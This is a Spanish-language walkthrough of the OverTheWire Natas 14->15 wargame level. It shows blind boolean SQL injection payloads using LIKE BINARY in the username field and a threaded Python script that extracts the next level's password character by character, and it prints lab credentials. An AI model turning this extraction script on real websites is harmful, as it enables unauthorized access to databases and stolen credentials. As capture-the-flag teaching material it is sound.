OverTheWire - Natas 14 -> 15 (sin navegador)

Información


Las contraseñas cambian cada cierto tiempo, existe la posibilidad de que esta contraseña ya no sea válida

Username: natas15
Password: TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
URL:      http://natas15.natas.labs.overthewire.org

Solución


Abrimos Postman, pegamos la URL e ingresamos nuestras credenciales.

Vemos en la respuesta un formulario y un link que redirige al código fuente de la página.

Si vamos al link debemos hacer click en la pestaña Preview o no podremos visualizar correctamente el código.

Lo primero que notamos es una query SQL comentada indicandonos que existe una columna username y password. También notamos un SQLI en la formación de una query, esta query es vulnerable porque no tiene ningún tipo de filtro y nosotros podemos ingresar lo que queramos.

Más abajo también vemos que si agregamos el parámetro debug a la petición el servidor nos responderá con la query que hemos formado, esto nos ayudará con nuestra inyección.

Volvemos a la página principal y vamos a la pestaña Params para agregar rellenar los campos debug y username.

Al recibir la respuesta vamos a la pestaña Pretty.

Vemos cómo se forma la query que se ejecuta en el servidor y además vemos que el usuario 123 no existe.

Intentamos con distintos nombres de usuario hasta que encontremos uno válido.

La página nos indica que el usuario natas16 existe.

Como vimos al inicio del reto en la base de datos existen 2 columnas: username y password. Pero como el formulario no nos deja ingresar una contraseña debemos aprovechar la inyección SQLI para adivinar la contraseña.

natas16" AND password LIKE "a%" -- -

Como no tenemos otra forma de conocer la contraseña haremos uso del mensaje This user exists y This user doesn’t exists, cuando el caracter ingresado sea correcto la página nos mostrará This user exists. Pero hay un problema, LIKE no es case sensitive, esto nos traerá problemas porque las contraseñas de natas contienen mayúsculas y minúsculas, si queremos hacer una comparación case sensitive debemos usar LIKE BINARY. Quiero decir que si la contraseña tiene un caracter B y nosotros usamos LIKE "b*" la página nos dira que es correcto aunque no sea verdad.

natas16" AND password LIKE BINARY "a%" -- -

Podemos ir caracter por caracter probando pero esto no es nada eficiente.

Lo ideal es crear un script en tu lenguaje favorito, yo programé uno en python3 que usa threads para hacer la enumeración muchísimo más rápido.

import urllib.request
import threading


def main():
    # Credentials
    url = "http://natas15.natas.labs.overthewire.org"
    username = "natas15"
    natas15_pwd = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"

    characters = "abcdefghijklmnopqrstuvwxyz"
    characters += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    characters += "1234567890"

    bandit16_pwd = []
    threads = []

    def test_password(character, password):
        # Authentication
        password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
        password_mgr.add_password(None, url, username, natas15_pwd)
        handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
        opener = urllib.request.build_opener(handler)
        opener.open(url)
        urllib.request.install_opener(opener)

        # SQL Injection
        payload = f'natas16" AND password LIKE BINARY "{password + character}%"-- -'
        data = {"username": payload}
        data = urllib.parse.urlencode(data).encode()
        req = urllib.request.Request(url, data=data)
        resp = urllib.request.urlopen(req)

        if b"This user exists" in resp.read():
            bandit16_pwd.append(character)

    for _ in range(32):
        password = "".join(bandit16_pwd)
        print(password)

        # For every character it creates a thread that make a request to the webpage
        for character in characters:
            t = threading.Thread(target=test_password, args=(character, password))
            threads.append(t)

        for x in threads:
            x.start()

        for x in threads:
            x.join()
        threads = []

    bandit16_pwd = "".join(bandit16_pwd)
    print(bandit16_pwd)


if __name__ == "__main__":
    main()

Contraseña


TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V


Anterior

Siguiente

Powered by Soopr   •  Theme  Moonwalk